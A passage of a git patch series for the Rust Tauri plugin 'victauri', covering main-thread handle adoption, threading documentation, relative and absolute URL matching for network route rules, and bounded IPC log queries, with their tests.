otherwise, so a tiny probe tells +/// the two apart. On the main thread the adoption happens in place (no handle is cloned +/// anywhere else). Off it, the adoption is posted to the main thread with a handle cloned here — +/// one unavoidable off-main clone, of the same kind `setup` itself already makes in that case +/// (it clones the handle for the MCP server) — and round trips made before it runs fail cleanly +/// with "not installed" instead of misbehaving. +pub(crate) fn adopt_main_thread( + app: &tauri::AppHandle, +) -> Result { + adopt_on_main( + app, + |job| app.run_on_main_thread(job).map_err(|e| e.to_string()), + |main: &tauri::AppHandle| { + record_main_thread(); + install_main_app(main); + }, + ) +} + +/// Generic core of [`adopt_main_thread`], testable with a fake main thread. `post` must run a +/// job inline when called on the main thread and queue it there otherwise (Tauri's +/// `run_on_main_thread` contract); `adopt` is always called on the main thread. +fn adopt_on_main( + handle: &H, + post: impl Fn(Box) -> Result<(), String>, + adopt: impl Fn(&H) + Send + 'static, +) -> Result { + use std::sync::atomic::{AtomicBool, Ordering}; + + let here = std::thread::current().id(); + let ran_here = std::sync::Arc::new(AtomicBool::new(false)); + let flag = std::sync::Arc::clone(&ran_here); + // Queued (off the main thread), this runs later on the main thread and finds a different + // thread id there, so it does nothing. + post(Box::new(move || { + if std::thread::current().id() == here { + flag.store(true, Ordering::Release); + } + }))?; + if ran_here.load(Ordering::Acquire) { + adopt(handle); + return Ok(MainThreadAdoption::Inline); + } + let owned = handle.clone(); + post(Box::new(move || adopt(&owned)))?; + Ok(MainThreadAdoption::Posted) +} + /// The main thread's own app handle (a clone made HERE, on the main thread), if installed. fn main_app() -> Option> { MAIN_APP.with(|slot| { @@ -1357,6 +1425,95 @@ mod tests { assert!(out.unwrap_err().contains("panicked")); } + /// A stand-in Tauri main thread: runs posted jobs in order, inline when posted from itself + /// (exactly what tauri-runtime-wry's `send_user_message` does). + struct FakeMainThread { + jobs: std::sync::mpsc::Sender>, + id: std::thread::ThreadId, + } + + impl FakeMainThread { + fn start() -> Self { + let (jobs, rx) = std::sync::mpsc::channel::>(); + let (id_tx, id_rx) = std::sync::mpsc::channel(); + std::thread::spawn(move || { + id_tx.send(std::thread::current().id()).unwrap(); + while let Ok(job) = rx.recv() { + job(); + } + }); + Self { + jobs, + id: id_rx.recv().unwrap(), + } + } + + fn post(&self) -> impl Fn(Box) -> Result<(), String> + '_ { + move |job| { + if std::thread::current().id() == self.id { + job(); + Ok(()) + } else { + self.jobs.send(job).map_err(|e| e.to_string()) + } + } + } + + /// Run `f` on the fake main thread and wait for it. + fn run(&self, f: impl FnOnce() -> T + Send + 'static) -> T { + let (tx, rx) = std::sync::mpsc::channel(); + self.jobs + .send(Box::new(move || tx.send(f()).unwrap())) + .unwrap(); + rx.recv().unwrap() + } + } + + type Adopted = Arc>>; + + fn recording_adopt(log: &Adopted) -> impl Fn(&String) + Send + 'static { + let log = Arc::clone(log); + move |h: &String| { + log.lock() + .unwrap() + .push((std::thread::current().id(), h.clone())); + } + } + + /// R5B-MAIN1: Tauri lets an app register a plugin later from a background thread + /// (`AppHandle::plugin`), and then the plugin's `setup` runs THERE. Recording that thread as + /// "main" and installing the handle in its thread-local left every later `on_main` round + /// trip failing with "the main-thread app handle is not installed". Adoption must happen on + /// the real main thread. + #[test] + fn setup_off_the_main_thread_adopts_the_real_main_thread() { + let main = FakeMainThread::start(); + let log: Adopted = Arc::default(); + let handle = "app".to_string(); + let outcome = super::adopt_on_main(&handle, main.post(), recording_adopt(&log)); + assert_eq!(outcome, Ok(super::MainThreadAdoption::Posted)); + // The posted adoption runs before anything posted after it. + main.run(|| ()); + let adopted = log.lock().unwrap().clone(); + assert_eq!(adopted, vec![(main.id, "app".to_string())]); + } + + /// The normal case — setup on the main thread — adopts in place, before returning. + #[test] + fn setup_on_the_main_thread_adopts_inline() { + let main = Arc::new(FakeMainThread::start()); + let log: Adopted = Arc::default(); + let (m, l) = (Arc::clone(&main), Arc::clone(&log)); + let outcome = main.run(move || { + let outcome = super::adopt_on_main(&"app".to_string(), m.post(), recording_adopt(&l)); + // Adopted before `adopt_on_main` returned, not merely queued. + let adopted_now = l.lock().unwrap().len(); + (outcome, adopted_now) + }); + assert_eq!(outcome, (Ok(super::MainThreadAdoption::Inline), 1)); + assert_eq!(log.lock().unwrap()[0].0, main.id); + } + #[test] fn main_thread_is_recorded_once_and_only_that_thread_matches() { // Record from a dedicated thread (standing in for Tauri's setup thread): only that diff --git a/crates/victauri-plugin/src/lib.rs b/crates/victauri-plugin/src/lib.rs index 7afad87e..5cfa9da9 100644 --- a/crates/victauri-plugin/src/lib.rs +++ b/crates/victauri-plugin/src/lib.rs @@ -871,11 +871,24 @@ impl VictauriBuilder { Ok(Builder::new("victauri") .setup(move |app, _api| { - // Tauri runs plugin setup on the main (UI) thread — record it so the bridge - // can run main-thread callers inline instead of deadlocking on its lock, and - // give the bridge a handle owned by that thread (see `bridge::on_main`). - bridge::record_main_thread(); - bridge::install_main_app(app); + // Record the main (UI) thread so the bridge can run main-thread callers + // inline instead of deadlocking on its lock, and give the bridge a handle + // owned by that thread (see `bridge::on_main`). Tauri runs setup there — + // unless the app registered this plugin at runtime from a background thread + // (`AppHandle::plugin`); then the adoption is posted to the main thread. + match bridge::adopt_main_thread(app) { + Ok(bridge::MainThreadAdoption::Inline) => {} + Ok(bridge::MainThreadAdoption::Posted) => tracing::warn!( + "Victauri: plugin setup ran off the main thread (registered at \ + runtime from a background thread?); the main-thread state is being \ + installed on the main thread — webview/window tools called before \ + it is will fail with \"not installed\"" + ), + Err(e) => tracing::error!( + "Victauri: could not reach the main thread to install its state \ + ({e}); webview and window tools will fail with \"not installed\"" + ), + } let startup_timeline = introspection::StartupTimeline::new(); let event_log = EventLog::new(event_capacity); startup_timeline.mark("event_log_created"); From bb9acc5c8e61647cf1d6eaf83c7b1ee1f95671c8 Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 02:18:11 +1000 Subject: [PATCH 134/167] docs(plugin): threading contract for probe/on_ready; honest round-trip bound (R5B-DOC-THREAD) VictauriBuilder::probe closures run on tokio's blocking pool and on_ready callbacks on a tokio worker, never on the main thread; their rustdoc now says so and warns that they must not capture/clone/drop Tauri handles or call get_webview_window/webview_windows (on Linux that races the main thread's non-atomic Rc and corrupts the heap). serialized_round_trip claimed its timeout bounded the WHOLE call, but a closure that started before the deadline is waited for up to a further timeout (dispatch_and_wait's grace) so its real outcome is reported. The doc now states the real bound: `timeout` if the closure never started, about 2x timeout worst case. Behaviour is unchanged: shortening the grace would turn "ran, here is the result" back into "outcome unknown" for state-changing ops. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-plugin/src/bridge.rs | 14 +++++++++++--- crates/victauri-plugin/src/lib.rs | 20 ++++++++++++++++++++ 2 files changed, 31 insertions(+), 3 deletions(-) diff --git a/crates/victauri-plugin/src/bridge.rs b/crates/victauri-plugin/src/bridge.rs index 50724930..9f6a2836 100644 --- a/crates/victauri-plugin/src/bridge.rs +++ b/crates/victauri-plugin/src/bridge.rs @@ -474,9 +474,17 @@ where } /// One serialized round trip: take `gate`'s lock (see [`MAIN_DISPATCH_LOCK`]), then hand `f` to `post` -/// and wait for it. `timeout` bounds the WHOLE call, including the wait for the lock, so -/// serializing cannot stack N callers into N * timeout when the UI wedges: each caller still -/// gives up after `timeout` total, exactly as it did before the lock existed. +/// and wait for it. +/// +/// `timeout` is one deadline shared by everything BEFORE the closure starts — the wait for the +/// lock, for an earlier abandoned closure still running, and for this closure to be picked up — +/// so serializing cannot stack N callers into N * timeout when the UI wedges: a closure that has +/// not started by the deadline is abandoned (it never runs) and the call returns at `timeout`. +/// A closure that DID start before the deadline is waited for up to a further `timeout` (the +/// `grace` passed to [`dispatch_and_wait`]) so its real outcome is reported rather than +/// "timed out" for work that happened. So a call returns within `timeout` if its closure never +/// started, and within about 2 × `timeout` in the worst case (it started just before the +/// deadline and then ran long). fn serialized_round_trip( gate: &'static DispatchGate, what: &str, diff --git a/crates/victauri-plugin/src/lib.rs b/crates/victauri-plugin/src/lib.rs index 5cfa9da9..49b98048 100644 --- a/crates/victauri-plugin/src/lib.rs +++ b/crates/victauri-plugin/src/lib.rs @@ -716,6 +716,16 @@ impl VictauriBuilder { /// }); /// # let _ = builder; /// ``` + /// + /// # Threading + /// + /// The closure runs on tokio's **blocking pool** (under a deadline, with panics isolated), + /// never on the Tauri main thread. It must therefore not capture, clone or drop Tauri + /// handles (`AppHandle`, `Window`, `Webview`, `WebviewWindow`, …) nor call + /// `get_webview_window` / `webview_windows`: on Linux every Tauri handle carries a + /// non-atomic `Rc` owned by the main thread (tao's window set), and touching it from another + /// thread corrupts the host's heap. Read your own `Send + Sync` state (an `Arc`, a lock, an + /// atomic) instead, as above. #[must_use] pub fn probe(mut self, name: impl Into, probe: F) -> Self where @@ -727,6 +737,16 @@ impl VictauriBuilder { /// Register a callback invoked once the MCP server is listening. /// The callback receives the port number. + /// + /// # Threading + /// + /// The callback runs on a **tokio worker thread** (Tauri's async runtime), not on the main + /// thread, and blocks that worker while it runs — keep it short. Like a + /// [`probe`](Self::probe), it must not capture, clone or drop Tauri handles nor call + /// `get_webview_window` / `webview_windows` (on Linux that races the main thread's + /// non-atomic `Rc` and corrupts the heap) — moving a handle into the callback means it is + /// dropped on the worker. To act on the app, signal your own main-thread code instead (a + /// channel, an atomic, or state it reads). #[must_use] pub fn on_ready(mut self, f: impl FnOnce(u16) + Send + 'static) -> Self { self.on_ready = Some(Box::new(f)); From 797e2e6f87140ccb98e3f49023b4b2ad7787a78c Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 02:21:53 +1000 Subject: [PATCH 135/167] fix(bridge): route rules match relative and absolute request URLs alike (R5B-ROUTEURL1) A route pattern was tested only against the URL as the app spelled it: fetch('/api/x') exposed the relative string, a Request or URL object the absolute URL, so an exact or anchored-regex rule hit one form of a request and silently missed the other (the same for XHR open() with a relative URL). matchRoute now tests each rule against the absolute URL (resolved against the document base URL with the URL constructor and getters captured at init), the same-origin path + query + fragment, and the raw string; a rule hits if any form matches. Documented in tools-reference (route `pattern`). Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-plugin/src/js_bridge.rs | 62 ++++++++++++++--- .../victauri-plugin/tests/bridge_r5b_tests.rs | 68 +++++++++++++++++++ docs/src/tools-reference.md | 2 +- 3 files changed, 123 insertions(+), 9 deletions(-) diff --git a/crates/victauri-plugin/src/js_bridge.rs b/crates/victauri-plugin/src/js_bridge.rs index bb639934..3be97412 100644 --- a/crates/victauri-plugin/src/js_bridge.rs +++ b/crates/victauri-plugin/src/js_bridge.rs @@ -353,22 +353,53 @@ const INIT_SCRIPT_BODY: &str = r#" return ms > MAX_TIMER_DELAY_MS ? MAX_TIMER_DELAY_MS : ms; } + // The forms a request URL is matched in (R5B-ROUTEURL1). `fetch('/api/x')` hands the bridge + // the relative string while a `Request` or `URL` object yields the absolute URL, so a rule + // matched against only one of them hit one spelling of a request and silently missed the + // other. A rule is tested against: the absolute URL (resolved against the document base URL, + // as fetch/XHR resolve it), the path + query + fragment when same-origin, and the string as + // the app passed it. The URL built-ins are the ones captured at init. + function routeUrlForms(url) { + var forms = [url]; + if (!URL_CTOR || !URL_HREF_GET) return forms; + try { + var base = BASE_URI_GET ? REFLECT_APPLY(BASE_URI_GET, document, []) : window.location.href; + var u = new URL_CTOR(url, base); + var abs = REFLECT_APPLY(URL_HREF_GET, u, []); + if (abs !== url) forms[forms.length] = abs; + var loc = new URL_CTOR(window.location.href); + var sameOrigin = REFLECT_APPLY(URL_PROTOCOL_GET, u, []) === REFLECT_APPLY(URL_PROTOCOL_GET, loc, []) + && REFLECT_APPLY(URL_HOST_GET, u, []) === REFLECT_APPLY(URL_HOST_GET, loc, []); + if (sameOrigin) { + var rel = REFLECT_APPLY(URL_PATHNAME_GET, u, []) + REFLECT_APPLY(URL_SEARCH_GET, u, []) + + REFLECT_APPLY(URL_HASH_GET, u, []); + if (rel !== url) forms[forms.length] = rel; + } + } catch (e) {} + return forms; + } + + function routeRuleHits(r, url) { + try { + if (r.match_type === 'exact') return url === r.pattern; + if (r.match_type === 'regex') return new RegExp(r.pattern).test(url); + if (r.match_type === 'glob') return globToRegExp(r.pattern).test(url); + return url.indexOf(r.pattern) !== -1; // substring (default) + } catch (e) { return false; } + } + function matchRoute(url, method) { if (!routeRules.length) return null; if (isVictauriInternalUrl(url)) return null; var m = (method || 'GET').toUpperCase(); + var forms = routeUrlForms(url); for (var i = 0; i < routeRules.length; i++) { var r = routeRules[i]; if (r.times && r.triggered >= r.times) continue; if (r.method && r.method.toUpperCase() !== m) continue; - var hit = false; - try { - if (r.match_type === 'exact') hit = (url === r.pattern); - else if (r.match_type === 'regex') hit = new RegExp(r.pattern).test(url); - else if (r.match_type === 'glob') hit = globToRegExp(r.pattern).test(url); - else hit = (url.indexOf(r.pattern) !== -1); // substring (default) - } catch (e) { hit = false; } - if (hit) return r; + for (var f = 0; f < forms.length; f++) { + if (routeRuleHits(r, forms[f])) return r; + } } return null; } @@ -490,6 +521,21 @@ const INIT_SCRIPT_BODY: &str = r#" // argument (it throws for a Symbol, as they do). Not `String(v)`: page script can replace // `window.String`, and `String(symbol)` does not throw. function toStringExact(v) { return `${v}`; } + // The URL constructor and the getters route matching reads (routeUrlForms), and the + // document base URL getter fetch/XHR resolve a relative URL against. + var URL_CTOR = typeof window.URL === 'function' ? window.URL : null; + function protoGetter(proto, name) { + try { var d = Object.getOwnPropertyDescriptor(proto, name); return d && d.get ? d.get : null; } + catch (e) { return null; } + } + var URL_PROTO = URL_CTOR ? URL_CTOR.prototype : null; + var URL_HREF_GET = URL_PROTO && protoGetter(URL_PROTO, 'href'); + var URL_PROTOCOL_GET = URL_PROTO && protoGetter(URL_PROTO, 'protocol'); + var URL_HOST_GET = URL_PROTO && protoGetter(URL_PROTO, 'host'); + var URL_PATHNAME_GET = URL_PROTO && protoGetter(URL_PROTO, 'pathname'); + var URL_SEARCH_GET = URL_PROTO && protoGetter(URL_PROTO, 'search'); + var URL_HASH_GET = URL_PROTO && protoGetter(URL_PROTO, 'hash'); + var BASE_URI_GET = typeof Node === 'function' ? protoGetter(Node.prototype, 'baseURI') : null; var AGENT_KEY = '__VICTAURI_AGENT_KEY__'; // Page script can plant `toJSON` on Object.prototype / Array.prototype, which JSON.stringify diff --git a/crates/victauri-plugin/tests/bridge_r5b_tests.rs b/crates/victauri-plugin/tests/bridge_r5b_tests.rs index 9808ad04..b314b378 100644 --- a/crates/victauri-plugin/tests/bridge_r5b_tests.rs +++ b/crates/victauri-plugin/tests/bridge_r5b_tests.rs @@ -296,3 +296,71 @@ fn r5b_scrubkey1_page_hooks_never_reach_the_key_through_animation_ops() { "the hooks were exercised: {r}" ); } + +// ── R5B-ROUTEURL1: a rule hits the same request however the app spells it ───── + +/// A route pattern matched only the URL *as the app passed it*: `fetch('/api/x')` exposed the +/// relative string, a `Request` or `URL` object the absolute URL, so an `exact` (or anchored +/// regex) rule hit one form and silently missed the other. Rules now match the absolute URL, +/// the same-origin path, and the raw string. +#[test] +fn r5b_routeurl1_rules_match_relative_and_absolute_forms() { + let def = def( + None, + vec![web_case( + "exact / regex / glob rules against string, URL and Request forms, fetch and XHR", + r" + var V = window.__VICTAURI__; + V.addRoute({ pattern: '/api/rel', match_type: 'exact', action: 'block' }); + V.addRoute({ pattern: 'http://localhost/api/abs', match_type: 'exact', action: 'block' }); + V.addRoute({ pattern: '^/api/rx', match_type: 'regex', action: 'block' }); + V.addRoute({ pattern: 'http://localhost/api/gl*', match_type: 'glob', action: 'block' }); + async function blocked(input) { + try { await fetch(input); return false; } + catch (e) { return /blocked by route/.test(e.message); } + } + var abs = function(p) { return 'http://localhost' + p; }; + var out = {}; + var paths = ['/api/rel', '/api/abs', '/api/rx', '/api/glob']; + for (var i = 0; i < paths.length; i++) { + var p = paths[i]; + out[p] = [ + await blocked(p), + await blocked(abs(p)), + await blocked(new URL(p, location.href)), + await blocked(new Request(abs(p))), + ]; + } + // An unrelated path is untouched in every form. + out.other = [await blocked('/api/other'), await blocked(new Request(abs('/api/other')))]; + // XHR, relative and absolute. + function xhrBlocked(u) { + return new Promise(function(res) { + var x = new XMLHttpRequest(); + x.open('GET', u); + var done = function() { res(V.getNetworkLog(null, 1)[0].status === 'blocked'); }; + x.addEventListener('error', done); + x.addEventListener('loadend', done); + x.send(); + }); + } + out.xhr = [await xhrBlocked('/api/abs'), await xhrBlocked(abs('/api/rel'))]; + return out; + ", + )], + ); + let Some(results) = run_tests(&def) else { + return; + }; + assert_all_pass(&results); + let r = result(&results, 0); + for p in ["/api/rel", "/api/abs", "/api/rx", "/api/glob"] { + assert_eq!( + r[p], + serde_json::json!([true, true, true, true]), + "{p} must be blocked in every form: {r}" + ); + } + assert_eq!(r["other"], serde_json::json!([false, false]), "{r}"); + assert_eq!(r["xhr"], serde_json::json!([true, true]), "{r}"); +} diff --git a/docs/src/tools-reference.md b/docs/src/tools-reference.md index 5f9a23d5..7d4db8c6 100644 --- a/docs/src/tools-reference.md +++ b/docs/src/tools-reference.md @@ -674,7 +674,7 @@ page-scoped (cleared on reload). | Name | Type | Required | Description | |------|------|----------|-------------| -| `pattern` | string | yes | URL pattern to match | +| `pattern` | string | yes | URL pattern to match. Tested against the request's absolute URL (resolved against the page's base URL), its path + query + fragment when same-origin, and the URL string as the app passed it — so a rule hits the same request whether the app calls `fetch('/api/x')`, `fetch(new URL(…))` or `fetch(new Request(…))`, and likewise for XHR | | `match_type` | string | no | `substring` (default), `glob` (`*` matches any run of characters; every other character, including `?`, is literal), `regex`, `exact` | | `method` | string | no | Restrict to one HTTP method | | `behavior` | string | no | `block` (abort), `fulfill` (mock — default), `delay` | From 25c4631c8c001fb7cacd42b39493599b4057742d Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 02:22:10 +1000 Subject: [PATCH 136/167] fix(plugin): bound the page-callable IPC queries run on the UI thread (R5B-PAGEQ1) victauri_get_ipc_log, victauri_detect_ghost_commands and victauri_check_ipc_integrity are page-callable SYNC commands (they run on the UI thread) and each cloned the whole Rust IPC log - every call with its request/response body - per call, so page script calling them in a loop could jank the UI. - get_ipc_log returns the newest `limit` calls (default 100, max 1000) and clones only those (new EventLog::recent_ipc_calls). - detect_ghost_commands reads only the command names (new EventLog::ipc_command_names). - check_ipc_integrity scans the log in place instead of cloning it; the page reply keeps the newest 100 stale/error entries (counts are whole-log). Measured on a 10,000-call log with 1 KB bodies (release of this test, debug build): get_ipc_log 14.0 ms -> 0.09 ms, detect_ghost_commands 17.3 ms -> 1.7 ms, check_ipc_integrity >= 13.5 ms (full clone) -> 3.1 ms. Also documents that on_main blocks a current-thread tokio runtime for up to ~20 s while the UI is wedged (block_in_place is unavailable there). Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-core/src/event.rs | 49 ++++++++ crates/victauri-core/src/verification.rs | 10 +- crates/victauri-core/tests/core_tests.rs | 20 ++++ crates/victauri-plugin/src/bridge.rs | 8 ++ crates/victauri-plugin/src/tools.rs | 138 +++++++++++++++++++---- 5 files changed, 202 insertions(+), 23 deletions(-) diff --git a/crates/victauri-core/src/event.rs b/crates/victauri-core/src/event.rs index 30fe8692..a817097a 100644 --- a/crates/victauri-core/src/event.rs +++ b/crates/victauri-core/src/event.rs @@ -438,6 +438,55 @@ impl EventLog { .collect() } + /// Returns the newest `limit` IPC calls, oldest first. + /// + /// Unlike [`ipc_calls`](Self::ipc_calls) this clones only the calls it returns (a call + /// carries its whole request/response body), so its cost is bounded by `limit`, not by the + /// size of the log. + #[must_use] + pub fn recent_ipc_calls(&self, limit: usize) -> Vec { + let events = crate::acquire_lock(&self.events, "EventLog"); + let mut calls: Vec = events + .iter() + .rev() + .filter_map(|e| match e { + AppEvent::Ipc(call) => Some(call), + _ => None, + }) + .take(limit) + .cloned() + .collect(); + drop(events); + calls.reverse(); + calls + } + + /// Returns the distinct command names of the IPC calls in the log, without cloning the + /// calls themselves. + #[must_use] + pub fn ipc_command_names(&self) -> std::collections::BTreeSet { + let events = crate::acquire_lock(&self.events, "EventLog"); + let mut names = std::collections::BTreeSet::new(); + for event in events.iter() { + if let AppEvent::Ipc(call) = event + && !names.contains(call.command.as_str()) + { + names.insert(call.command.clone()); + } + } + names + } + + /// Calls `f` on every IPC call in the log, in order, under the log's lock (so `f` must be + /// quick and must not touch the log). Nothing is cloned. + pub(crate) fn for_each_ipc_call(&self, mut f: impl FnMut(&IpcCall)) { + for event in crate::acquire_lock(&self.events, "EventLog").iter() { + if let AppEvent::Ipc(call) = event { + f(call); + } + } + } + /// Returns IPC calls with a timestamp at or after the given time. #[must_use] pub fn ipc_calls_since(&self, timestamp: DateTime) -> Vec { diff --git a/crates/victauri-core/src/verification.rs b/crates/victauri-core/src/verification.rs index 7b15aad6..d105b787 100644 --- a/crates/victauri-core/src/verification.rs +++ b/crates/victauri-core/src/verification.rs @@ -453,15 +453,17 @@ pub struct ErrorCall { #[must_use] pub fn check_ipc_integrity(event_log: &EventLog, stale_threshold_ms: i64) -> IpcIntegrityReport { let now = Utc::now(); - let calls = event_log.ipc_calls(); - let total_calls = calls.len(); + let mut total_calls = 0usize; let mut completed = 0usize; let mut pending = 0usize; let mut errored = 0usize; let mut stale_calls = Vec::new(); let mut error_calls = Vec::new(); - for call in &calls { + // Scanned in place: cloning every call (each carries its whole request/response body) just + // to count them cost a full copy of the log per check. + event_log.for_each_ipc_call(|call| { + total_calls += 1; match &call.result { IpcResult::Ok(_) => completed += 1, IpcResult::Pending => { @@ -488,7 +490,7 @@ pub fn check_ipc_integrity(event_log: &EventLog, stale_threshold_ms: i64) -> Ipc }); } } - } + }); let healthy = stale_calls.is_empty() && errored == 0; diff --git a/crates/victauri-core/tests/core_tests.rs b/crates/victauri-core/tests/core_tests.rs index a418058f..7203a91b 100644 --- a/crates/victauri-core/tests/core_tests.rs +++ b/crates/victauri-core/tests/core_tests.rs @@ -2630,3 +2630,23 @@ fn dom_snapshot_accessible_text_uses_tag_when_no_role() { let text = snapshot.to_accessible_text(0); assert!(text.contains("- section \"Content\"")); } + +/// R5B-PAGEQ1: page-callable `victauri_get_ipc_log` / `victauri_detect_ghost_commands` cloned +/// every call in the log (bodies included) on the UI thread. The bounded accessors return the +/// same data as the full clone for what they cover. +#[test] +fn recent_ipc_calls_and_command_names_match_the_full_log() { + let log = EventLog::new(1000); + for i in 0..50 { + log.push(make_ipc_simple(&format!("c{i}"), &format!("cmd{}", i % 3))); + log.push(AppEvent::state_change(format!("k{i}"), Utc::now(), None)); + } + let all = log.ipc_calls(); + let recent = log.recent_ipc_calls(10); + assert_eq!(recent.len(), 10); + assert_eq!(recent, all[40..].to_vec(), "newest 10, oldest first"); + assert_eq!(log.recent_ipc_calls(1000), all); + assert!(log.recent_ipc_calls(0).is_empty()); + let names: Vec = log.ipc_command_names().into_iter().collect(); + assert_eq!(names, vec!["cmd0", "cmd1", "cmd2"]); +} diff --git a/crates/victauri-plugin/src/bridge.rs b/crates/victauri-plugin/src/bridge.rs index 9f6a2836..cdfbd2ca 100644 --- a/crates/victauri-plugin/src/bridge.rs +++ b/crates/victauri-plugin/src/bridge.rs @@ -421,6 +421,14 @@ fn is_main_thread() -> bool { /// /// Round trips are additionally serialized through [`MAIN_DISPATCH_LOCK`] — see there for the /// heap corruption that requires it and the bisect that established it. +/// +/// **Blocking.** Off the main thread this call BLOCKS its thread until the closure's outcome is +/// known — up to its 10 s deadline, or about 20 s when the closure started just before it (see +/// [`serialized_round_trip`]). On a multi-threaded tokio runtime it runs under `block_in_place`, +/// so the runtime keeps serving other tasks. On a **current-thread** runtime that is impossible +/// (`block_in_place` panics there), so the whole runtime — every task on it — stalls for that +/// long while the UI is wedged. Victauri's own server runs on a multi-threaded runtime; do not +/// call bridge methods from a current-thread runtime you care about. fn on_main(app: &tauri::AppHandle, what: &str, f: F) -> Result where R: Runtime, diff --git a/crates/victauri-plugin/src/tools.rs b/crates/victauri-plugin/src/tools.rs index 5f2e32f9..6d1d5c01 100644 --- a/crates/victauri-plugin/src/tools.rs +++ b/crates/victauri-plugin/src/tools.rs @@ -40,6 +40,14 @@ pub fn page_window_query(f: impl FnOnce() -> T) -> Result { Ok(f()) } +/// IPC calls `victauri_get_ipc_log` returns when the page gives no `limit`. +pub const PAGE_IPC_LOG_DEFAULT: usize = 100; +/// Most IPC calls `victauri_get_ipc_log` returns, whatever `limit` the page asks for. +pub const PAGE_IPC_LOG_MAX: usize = 1_000; +/// Most `stale_calls` / `error_calls` entries (each the newest) `victauri_check_ipc_integrity` +/// returns; the counts always cover the whole log. +pub const PAGE_INTEGRITY_MAX_ENTRIES: usize = 100; + /// The window a page-originated eval id belongs to. fn page_eval_window(id: &str) -> Option<&str> { let rest = id.strip_prefix(PAGE_EVAL_PREFIX)?; @@ -263,12 +271,19 @@ pub fn victauri_get_ipc_log( state: State<'_, Arc>, limit: Option, ) -> Result, String> { - let mut calls = state.event_log.ipc_calls(); - if let Some(limit) = limit { - let start = calls.len().saturating_sub(limit); - calls = calls[start..].to_vec(); - } - Ok(calls) + Ok(page_ipc_log(&state, limit)) +} + +/// The newest `limit` IPC calls (default [`PAGE_IPC_LOG_DEFAULT`], at most +/// [`PAGE_IPC_LOG_MAX`]), oldest first. +/// +/// These page-callable commands are synchronous, i.e. they run on the UI thread (see the note +/// above `victauri_get_window_state`), and page script can call them in a loop. So each does +/// work bounded by its reply, not by the log: only the returned calls are cloned (a call carries +/// its whole request/response body; cloning the full 10,000-event log per call janked the UI). +fn page_ipc_log(state: &VictauriState, limit: Option) -> Vec { + let limit = limit.unwrap_or(PAGE_IPC_LOG_DEFAULT).min(PAGE_IPC_LOG_MAX); + state.event_log.recent_ipc_calls(limit) } #[tauri::command] @@ -302,16 +317,13 @@ pub fn victauri_verify_state( pub fn victauri_detect_ghost_commands( state: State<'_, Arc>, ) -> Result { - let ipc_calls = state.event_log.ipc_calls(); - let frontend_commands: Vec = ipc_calls - .iter() - .map(|c| c.command.clone()) - .collect::>() - .into_iter() - .collect(); - - let report = victauri_core::detect_ghost_commands(&frontend_commands, &state.registry); - serde_json::to_value(report).map_err(|e| e.to_string()) + serde_json::to_value(page_ghost_report(&state)).map_err(|e| e.to_string()) +} + +/// Ghost-command report from the command NAMES in the log (no call is cloned). +fn page_ghost_report(state: &VictauriState) -> victauri_core::GhostCommandReport { + let frontend_commands: Vec = state.event_log.ipc_command_names().into_iter().collect(); + victauri_core::detect_ghost_commands(&frontend_commands, &state.registry) } #[tauri::command] @@ -319,9 +331,27 @@ pub fn victauri_check_ipc_integrity( state: State<'_, Arc>, stale_threshold_ms: Option, ) -> Result { - let threshold = stale_threshold_ms.unwrap_or(5000); - let report = victauri_core::check_ipc_integrity(&state.event_log, threshold); - serde_json::to_value(report).map_err(|e| e.to_string()) + serde_json::to_value(page_integrity_report(&state, stale_threshold_ms)) + .map_err(|e| e.to_string()) +} + +fn page_integrity_report( + state: &VictauriState, + stale_threshold_ms: Option, +) -> victauri_core::IpcIntegrityReport { + // Scans the log in place (no call is cloned); the lists in the reply are capped to the + // newest entries, the counts still cover the whole log. + let mut report = + victauri_core::check_ipc_integrity(&state.event_log, stale_threshold_ms.unwrap_or(5000)); + keep_newest(&mut report.stale_calls, PAGE_INTEGRITY_MAX_ENTRIES); + keep_newest(&mut report.error_calls, PAGE_INTEGRITY_MAX_ENTRIES); + report +} + +/// Drop all but the last `max` entries of `v` (the log is oldest-first). +fn keep_newest(v: &mut Vec, max: usize) { + let excess = v.len().saturating_sub(max); + v.drain(..excess); } #[cfg(test)] @@ -352,6 +382,76 @@ mod tests { ); } + fn busy_state(calls: usize) -> VictauriState { + let mut state = VictauriState::for_tests(); + state.event_log = victauri_core::EventLog::new(calls); + let body = serde_json::json!({ "payload": "x".repeat(1024) }); + for i in 0..calls { + let result = if i % 2 == 0 { + victauri_core::IpcResult::Ok(body.clone()) + } else { + victauri_core::IpcResult::Err(format!("failed: {}", "e".repeat(256))) + }; + state + .event_log + .push(victauri_core::AppEvent::Ipc(IpcCall::new( + format!("c{i}"), + format!("cmd{}", i % 20), + chrono::Utc::now(), + result, + Some(1), + 1024, + "main", + ))); + } + state + } + + /// R5B-PAGEQ1: `victauri_get_ipc_log`, `victauri_detect_ghost_commands` and + /// `victauri_check_ipc_integrity` are page-callable SYNC commands, i.e. they run on the UI + /// thread, and each cloned the whole Rust IPC log (every call with its body) per call — a + /// page calling them in a loop janked the UI. The work and the replies are now bounded. + #[test] + fn page_ipc_queries_do_bounded_work_on_a_full_log() { + let state = busy_state(10_000); + let time = |f: &dyn Fn()| { + let started = std::time::Instant::now(); + for _ in 0..5 { + f(); + } + started.elapsed() / 5 + }; + let full_clone = time(&|| drop(state.event_log.ipc_calls())); + let log = time(&|| drop(page_ipc_log(&state, None))); + let ghosts = time(&|| drop(page_ghost_report(&state))); + let integrity = time(&|| drop(page_integrity_report(&state, None))); + eprintln!( + "10,000-call log: full clone {full_clone:?}; get_ipc_log {log:?}; detect_ghost_commands {ghosts:?}; check_ipc_integrity {integrity:?}" + ); + + assert_eq!(page_ipc_log(&state, None).len(), PAGE_IPC_LOG_DEFAULT); + assert_eq!( + page_ipc_log(&state, Some(usize::MAX)).len(), + PAGE_IPC_LOG_MAX + ); + let newest = page_ipc_log(&state, Some(3)); + let ids: Vec<&str> = newest.iter().map(|c| c.id.as_str()).collect(); + assert_eq!(ids, ["c9997", "c9998", "c9999"]); + + let integrity = page_integrity_report(&state, None); + 